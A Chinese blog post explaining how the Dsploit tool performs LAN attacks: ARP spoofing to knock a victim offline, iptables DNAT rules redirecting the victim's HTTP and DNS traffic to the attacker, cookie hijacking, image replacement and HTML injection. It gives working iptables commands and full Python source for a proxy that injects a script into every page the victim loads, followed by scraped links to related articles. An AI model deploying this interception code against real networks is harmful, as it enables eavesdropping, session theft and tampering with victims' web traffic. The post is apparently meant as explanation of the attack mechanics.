之前研究Dsploit的部分功能实现原理,现在了解的差不多了,简要记录下Dsploit的断网攻击,html注入,图片替换,cookie劫持的原理。本篇blog需要有一定的网络知识基础在看。

假设现有三台主机,A代表网关,B代表攻击者,C代表受害者。A,B,C的ip分别为192.168.1.1       192.168.1.2       192.168.1.3

B使用Nmap扫描当前网段下的主机,发现了网关A,联网主机C。

断网原理:B如果想让C断网,只需要用arpspoof不断发arp reply包将自己伪装为网关A,即发送的arp reply包中ip为网关的ip192.168.1.1,但是arp reply中的mac却是自己的,这样C主机会将数据发送给攻击者B,如果攻击者B没有设置ip转发,那么主机C就会断网。

html注入,图片替换,cookie劫持原理:

在上述的断网原理下,如果攻击者B开启了ip转发功能,用iptables工具输入 iptables -t nat -s 192.168.1.3 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080

将主机C发送的目的端口是80的tcp报文转发到本机监听的端口8080上(注:这里8080只是举例用,不一定非要8080,只要是http代理监听的端口就行)

然后主机B在本机上运行http代理程序,http代理根据主机C发的http头可知主机C要连接的网站是哪个网站,根据网址将http请求转发,再将网站的响应转发给主机C,这样主机C还不知道自己的数据已经被窃听到了。

html注入发生在攻击者B将网站的响应转发给主机C的过程中,若http代理发现该响应可以注入html代码,就将html代码注入到响应后,再将注入后的响应发送给主机C,cookie劫持,图片替换发生在攻击者B转发主机C的http请求时,http代理将主机C发送的http请求中的cookie记录下来,就可利用主机C的cookie来进行登录服务。若http代理发现http头请求的文件类型为图片,则直接转发自己定义的图片给主机C。

DNS劫持原理与html注入类似,iptables -t nat -p udp --dport 53 -j DNAT --to 192.168.1.2:3000将DNS请求转发给本机的DNS代理,根据DNS报文的内容决定要不要伪造DNS响应。

下面给一个简单的http代理程序源码,本http代理会在响应中注入<script>alert("you have been hacked.")</script>

#!/
# coding = utf-8
import socket
import threading
import re class HttpHeaderParser(object):
def __init__(self, arg):
super(HttpHeaderParser, self).__init__()
self.arg = arg
self._parse();
def _parse(self):
try:
#print 'raw data:\n' + self.arg;
data = self.arg[self.arg.find('\r'):self.arg.find('\n\r\n')]
self.name = re.findall('\n(.*?):',data);
self.value = re.findall(':(.*?)\r',data);
self.body = self.arg[self.arg.find('\r\n\r\n') + 4:];
self.status = self.arg[0:self.arg.find('\r\n')];
for i in range(0,len(self.value)):
self.value[i] = self.value[i].lstrip();#过滤不必要的空格
self._getHostAddr();
except:
print 'error';
#print self.arg;
def getAttribute(self,name):
if name in self.name:
return self.value[self.name.index(name)];
return None;
def setAttribute(self,name,value):
if name in self.name:
self.value[self.name.index(name)] = value;
return ;
self.name.append(name);
self.value.append(value); def _getHostAddr(self):
self.host = self.getAttribute('Host');
self.port = 80;
if ':' in self.host:
tmp = self.host;
self.host = tmp[0:tmp.find(':')];
self.host = socket.gethostbyname(self.host);
self.port = int(tmp[tmp.find(':') + 1:])
def getAddr(self):
return (self.host,self.port); def buildHeader(self):
tmp = self.status + '\r\n';
for i in range(0,len(self.name)):
tmp = tmp + self.name[i] + ':' + self.value[i] + '\r\n';
tmp = tmp + '\r\n' + self.body;
#print 'build:\n' + tmp;
return tmp; def proc(client):
data = client.recv(2048);
#print data;
if data:
parser = HttpHeaderParser(data);
addr = parser.getAddr();
if addr[0] == '192.168.155.1':
addr = (socket.gethostbyname('123.207.127.183'),80);
parser.setAttribute('Host','123.207.127.183')
parser.setAttribute('Accept-Encoding','');
head = parser.buildHeader();
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
sock.connect(addr);
sock.sendall(head);
html = sock.recv(2048);
while html:
html = html.replace('<body>','<body><script>alert(\"you have been hacked.\")</script>');
print html;
client.sendall(html);
html = sock.recv(1024);
sock.close(); client.close(); def main():
addr = ('0.0.0.0',3000);
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
sock.bind(addr);
sock.listen(80);
b = True;
while b:
client,clientaddr = sock.accept();
t = threading.Thread(target = proc,args =(client,));
t.start();
#t.join();
sock.close();
print 'finish!!!'; if __name__ == '__main__':
main()

在本机设置为http代理运行之后,打开网页

会先出现

然后才是网站的真正响应。

ps:如有错误,欢迎指正。

局域网下的html注入及DNS劫持的更多相关文章

  1. 关于全站https必要性http流量劫持、dns劫持等相关技术

    关于全站https必要性http流量劫持.dns劫持等相关技术 微信已经要求微信支付,申请退款功能必须12月7号之前必须使用https证书了(其他目前为建议使用https),IOS也是2017年1月1 ...

  2. 一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

    目录 XSS 攻击 SQL 注入 CSRF 攻击 DDOS 攻击 DNS 劫持 XSS 攻击 全称跨站脚本攻击 Cross Site Scripting 为了与重叠样式表 CSS 进行区分,所以换了另 ...

  3. Kali 局域网 DNS 劫持

    <一> 所需工具  1: Kali-linux-2017  2: ettercap 0.8.2 3: web 服务器, 这里以 node 为例 <二> 原理  1: DNS劫持 ...

  4. kali下DNS劫持(9.28 第十四天)

    DNS劫持 环境: windows2008R2    被攻击者 kali        攻击者 1.在攻击者电脑中搭建web服务 2.在/var/www/html 写入html文件 index.htm ...

  5. openwrt-智能路由器hack技术(1)---"DNS劫持"

    openwrt-智能路由器hack技术(1)---"DNS劫持" 1   导读 PS:之前写的一个文章,现在发现结构内容排版不是太好,导致阅读体验太差,影响传播和SEO,所以现在整 ...

  6. 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

    有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...

  7. 轻松了解DNS劫持

    对于互联网,人们总是高谈阔论,却很少有人愿意去了解电脑.手机.电视这些设备到底是如何被"连接"起来的.本文通过"我",一个普通的网络请求的视角,给大家介绍下&q ...

  8. DNS劫持解决方法

    刚在家上网,发自己的浏览器竟然还会弹出页面广告(我浏览器装了屏蔽广告的浏览器应用,理论上就不会出现什么弹出来的广告). 于是自己仔细研究了下,发现在易迅的页面竟然嵌套了一个iframe,首先易迅肯定不 ...

  9. 【HTTP劫持和DNS劫持】腾讯的实际业务分析

        简单介绍一下HTTP劫持和DNS劫持的概念,也就是运营商通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西.       首先对运营商的劫持行为做一些分析,他们的目的无非 ...

随机推荐

  1. (转)Spark JAVA RDD API

    对API的解释: 1.1 transform l  map(func):对调用map的RDD数据集中的每个element都使用func,然后返回一个新的RDD,这个返回的数据集是分布式的数据集 l   ...

  2. C++头文件的处理

    C++的头文件比自己想的要复杂,不是简单地添加自己需要的头文件,这当中有一定的规律.简单归于以下几点: 1.非stadfx.h的头文件必须要有#pragma once的编译提示符,具体原因也不明白. ...

  3. Surround the Trees(凸包)

    Surround the Trees Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Other ...

  4. IdentityServer4 实现自定义 GrantType 授权模式

    OAuth 2.0 默认四种授权模式(GrantType): 授权码模式(authorization_code) 简化模式(implicit) 密码模式(password) 客户端模式(client_ ...

  5. 开发一个基于 Android系统车载智能APP

    很久之前就想做一个车载相关的app.需要实现如下功能: (1)每0.2秒更新一次当前车辆的最新速度值. (2)可控制性记录行驶里程. (3)不连接网络情况下获取当前车辆位置.如(北京市X区X路X号) ...

  6. WebGL学习(1) - 三角形

    原文地址:WebGL学习(1) - 三角形 还记得第一次看到canvas的粒子特效的时候,真的把我给惊艳到了,原来在浏览器也能做出这么棒的效果.结合<HTML5 Canvas核心技术>和网 ...

  7. 【最新版】从零开始在 macOS 上配置 Lua 开发环境

    脚本语言,你可能更需要的是 Lua 不同的脚本语言有不同的特性,第一接触的脚本语言,可能会影响自己对整个脚本语言的理解和认知.我以前接触最多的脚本语言是 JavaScript.后果就是:我一度以为脚本 ...

  8. 学习RocketMQ (一) 安装并且启动MQ

    1.使用RocketMQ 的 软件要求 64bit OS, Linux/Unix/Mac is recommended;64bit JDK 1.8+;Maven 3.2.xGit 1)安装Linux ...

  9. Python的__init__.py用法

    python中包的引入,对于大型项目中都会使用到这个功能,把实现不同功能的python文件放在一起,组成不同lib库,然后在其他地方调用. 包,python源文件+__init__.py 模块,pyt ...

  10. TIJ学习总结(1)- Java基础语法

    TIJ(Thinking in Java)作为Java学习书籍里的"圣经",之前花两个月系统的捋了一遍,很多东西有种豁然开朗的感觉,入门之后读一遍TIJ,相信会有很多意外收获哦- ...